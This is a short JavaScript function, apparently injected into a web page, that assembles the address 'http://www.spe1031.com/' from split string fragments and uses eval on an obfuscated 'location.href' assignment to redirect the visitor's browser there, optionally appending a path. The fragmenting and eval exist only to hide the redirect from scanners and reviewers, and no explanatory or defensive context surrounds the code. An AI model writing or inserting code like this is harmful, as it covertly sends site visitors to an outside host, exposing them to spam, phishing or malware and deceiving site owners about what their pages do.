function r_dir(extra){
  if (extra==undefined || !extra) {
    extra = '';
  }
  var s1 = 'ht';
  var s2 = 'tp:/';
  var s3 = '/ww';
  var s4 = 'w.spe1031.c';
  var s5 = 'om';

  var loc = 'loc' + 'ation' + '.h' + 'ref';
  eval(loc + "='" + s1 + s2 + s3 + s4 + s5 + "/" + extra + "'");
}